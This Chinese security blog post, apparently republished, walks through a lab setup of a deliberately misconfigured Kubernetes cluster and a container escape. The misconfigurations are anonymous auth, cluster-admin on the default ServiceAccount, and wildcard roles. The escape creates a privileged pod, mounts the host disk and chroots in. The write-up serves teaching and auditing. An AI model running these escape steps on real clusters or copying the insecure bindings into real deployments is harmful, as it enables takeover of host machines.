K8s滥用RBAC权限实现容器逃逸

admin 2026-06-30 09:01:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文演示了Kubernetes集群中因RBAC权限配置错误导致的容器逃逸漏洞,通过搭建匿名认证开启的K8s环境,展示攻击者如何利用cluster-admin权限创建特权容器实现宿主机逃逸。文档详细提供了环境搭建步骤、漏洞复现过程,并强调权限最小化原则的重要性,指出核心危害在于滥用高权限创建特权容器而非单纯进入Pod。 综合评分: 79 文章分类: 漏洞分析,实战经验,安全建设,云安全,解决方案


cover_image

K8s 滥用 RBAC 权限实现容器逃逸

原创

小智 小智

智榜样网络安全学习中心

2026年6月29日 17:20 湖南

在小说阅读器读本章

去阅读

前言

Kubernetes这东西,这几年火得一塌糊涂,大大小小的公司都在往上面迁。但是有一个数据说出来你可能不太信——超过六七成的K8s集群,存在着至少一项高危的配置方面的问题。注意,我说的不是那种需要很高技术含量才能利用的漏洞,就是单纯的配置没配好,等于门没锁。

之前做过一阵子的K8s安全审计,跑了一圈下来,十个集群里面六七个都有毛病。有的是API Server大敞着门,谁都能过来看看。有的是ServiceAccount权限给得大手大脚的,一个普通Pod拿着的居然是cluster-admin。还有etcd那边,数据裸着跑,连个TLS都没套。

这些可都不是小事。

这是一个 Kubernetes 的“权限配置错误”导致的特权提升漏洞的漏洞环境搭建过程

环境搭建

# 1. 安装 Docker(如果已装可跳过)
sudo apt update && sudo apt install -y docker.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER && newgrp docker

# 2. 安装 kubectl 它是 Kubernetes 的命令行管理工具,用于与集群交互。
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl && sudo mv kubectl /usr/local/bin/

# 3. 安装 kind 使用 Docker 容器模拟 Kubernetes 节点来运行本地集群的工具
curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.20.0/kind-linux-amd64
chmod +x kind && sudo mv kind /usr/local/bin/

image-20260626193325670

创建“不安全”集群,使用以下 kind 配置文件,开启 API Server 匿名认证,并预留 etcd 端口供检查(实际不暴露,但保持结构)。

cat > insecure-cluster.yaml <<EOF
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
&nbsp; - role: control-plane
&nbsp; &nbsp; extraPortMappings:
&nbsp; &nbsp; &nbsp; - containerPort:&nbsp;6443
&nbsp; &nbsp; &nbsp; &nbsp; hostPort:&nbsp;6443
&nbsp; &nbsp; &nbsp; &nbsp; protocol: TCP
kubeadmConfigPatches:
&nbsp; - |
&nbsp; &nbsp; apiVersion: kubeadm.k8s.io/v1beta3
&nbsp; &nbsp; kind: ClusterConfiguration
&nbsp; &nbsp; metadata:
&nbsp; &nbsp; &nbsp; name: config
&nbsp; &nbsp; etcd:
&nbsp; &nbsp; &nbsp; local:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 保留默认配置,实际上 kind 会自己生成证书,但我们可以查看清单
&nbsp; &nbsp; &nbsp; &nbsp; dataDir: /var/lib/etcd
&nbsp; - |
&nbsp; &nbsp; apiVersion: kubeadm.k8s.io/v1beta3
&nbsp; &nbsp; kind: InitConfiguration
&nbsp; &nbsp; nodeRegistration:
&nbsp; &nbsp; &nbsp; kubeletExtraArgs:
&nbsp; &nbsp; &nbsp; &nbsp; node-labels:&nbsp;"ingress-ready=true"
&nbsp; - |
&nbsp; &nbsp;&nbsp;# 关键:修改 API Server 参数,开启匿名认证
&nbsp; &nbsp; apiVersion: kubeadm.k8s.io/v1beta3
&nbsp; &nbsp; kind: ClusterConfiguration
&nbsp; &nbsp; metadata:
&nbsp; &nbsp; &nbsp; name: config
&nbsp; &nbsp; apiServer:
&nbsp; &nbsp; &nbsp; extraArgs:
&nbsp; &nbsp; &nbsp; &nbsp; anonymous-auth:&nbsp;"true"
EOF

image-20260627133549553

# 创建集群
kind create cluster --name insecure-k8s --config insecure-cluster.yaml

image-20260627133736777

# 验证集群状态
kubectl cluster-info
kubectl get nodes

若出现如下错误

image-20260627134025810

请继续执行命令

kubectl config set-cluster kind-insecure-k8s --server=https://127.0.0.1:6443

image-20260627134011962

重新检测是否正常连接,这时候应该会正常显示连接状态

kubectl cluster-info
kubectl get nodes

image-20260627134152823

模拟“未认证用户获得权限”的问题,创建一个 ClusterRoleBinding,将 system:unauthenticated 组绑定到 view 角色(允许读取所有资源),模拟文中“把 ClusterRole 绑定到了 system:unauthenticated”的场景。

image-20260627162734761

模拟“default ServiceAccount 获得 cluster-admin”

image-20260627162800051

模拟通配符权限的角色

在 default 命名空间下创建一个角色,包含 resources: ["*"] 和 verbs: ["get", "list"],并绑定给默认 ServiceAccount。

# 创建通配符 Role
kubectl create role wide-reader \
&nbsp; --verb=get,list \
&nbsp; --resource='*'&nbsp;\
&nbsp; --namespace=default

# 绑定到 default ServiceAccount
kubectl create rolebinding wide-reader-binding \
&nbsp; --role=wide-reader \
&nbsp; --serviceaccount=default:default \
&nbsp; --namespace=default

image-20260627162948996

确认环境符合要求

kubectl cluster-info dump | grep anonymous-auth

image-20260627163014587

查看绑定给未认证用户的权限

kubectl get clusterrolebindings -o json | \
&nbsp; jq&nbsp;'.items[] | select(.subjects[]?.kind=="Group" and .subjects[]?.name=="system:unauthenticated")'

image-20260627163112365

检查 default ServiceAccount 是否拥有 cluster-admin

kubectl get clusterrolebindings -o json | \
&nbsp; jq&nbsp;'.items[] | select(.subjects[]?.kind=="ServiceAccount" and .subjects[]?.name=="default")'

image-20260627163231902

这种宽泛的权限(resources: ["*"]verbs: ["get", "list"])可以让 Pod 读取命名空间内所有敏感信息,包括 ConfigMap 和 Secret。

检查通配符角色

kubectl get clusterroles,roles --all-namespaces -o json | \
&nbsp; jq&nbsp;'.items[] | select( (.rules // [])[]? | (.resources[]? == "*" or .verbs[]? == "*") ) | {name: .metadata.name, rules: .rules}'

image-20260627163413658

使用docker拉取alpine/k8s:1.29.2

docker pull alpine/k8s:1.29.2

image-20260629140224527

创建被攻破的普通 Pod(test-pod)

kubectl run test-pod --image=alpine/k8s:1.29.2&nbsp;--restart=Never -- sleep&nbsp;3600

image-20260629140446444

漏洞复现

模拟攻击者已获得一个普通 Pod 的 shell

攻击者通常通过 Web 漏洞、弱密码等方式进入某个 Pod。我们通过 kubectl exec 来模拟这一步。

首先确保 test-pod 存在并运行,处于Running状态:

image-20260629154536244

进入pod,现在你就是在攻击者已经拿下的那个普通容器里面了

kubectl&nbsp;exec&nbsp;-it test-pod -- sh

image-20260629154622970

尝试查看物理磁盘设备输出为空,因为普通容器没有特权,无法访问宿主机的设备文件,/dev 下只有容器自己的虚拟设备。

fdisk -l | grep -E&nbsp;'^/dev'

image-20260629160824144

利用 cluster-admin Token 创建特权容器

kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
&nbsp; name: host-escape
spec:
&nbsp; containers:
&nbsp; - name: pwned
&nbsp; &nbsp; image: alpine
&nbsp; &nbsp; command: ["sleep",&nbsp;"3600"]
&nbsp; &nbsp; securityContext:
&nbsp; &nbsp; &nbsp; privileged: true
&nbsp; restartPolicy: Never
EOF

kubectl get pod host-escape -w &nbsp;&nbsp;# 等待 Running
kubectl&nbsp;exec&nbsp;-it host-escape -- /bin/sh

image-20260629161258491

在 host-escape 中立即执行:

fdisk -l | grep -E&nbsp;'^/dev'
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
ls /mnt/host/home &nbsp;&nbsp;# 看到 kali
chroot /mnt/host /bin/bash
cat /etc/os-release&nbsp;# 输出 Kali

image-20260629161316441

对比结论

| 容器类型 | 是否有特权 | 能否看到物理磁盘 | 能否逃逸到物理机 | | — | — | — | — | | test-pod (普通容器) | 无 | ❌ 否 | ❌ 否 | | host-escape (特权容器) | 有 privileged: true | ✅ 是 | ✅ 是 |

攻击者进入 test-pod 后,虽然拥有 cluster-admin Token,但如果不创建特权容器,他仍然无法逃逸到物理机

他必须先利用高权限 Token 向 Kubernetes 申请一个特权容器,才能获得对宿主机设备的访问权。

这恰恰说明:漏洞的核心危害不在于“进入了一个 Pod”,而在于“能滥用集群管理员权限创建任意特权容器”

如果管理员没有错误地绑定 cluster-admin,即使攻击者进入 Pod,也无法创建特权容器,逃逸就不可能发生。这就是权限最小化原则的核心意义。

🎁 互动与福利

分享本文到朋友圈,点赞+在看+关注,一键三联,可以凭截图找老师领取

上千学习资料+工具

22919c6e4ef945aa9a9cbf0f6df4f6ff

分享后扫码加我!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:智榜样网络安全学习中心 小智 小智《K8s 滥用 RBAC 权限实现容器逃逸》

评论:0   参与:  0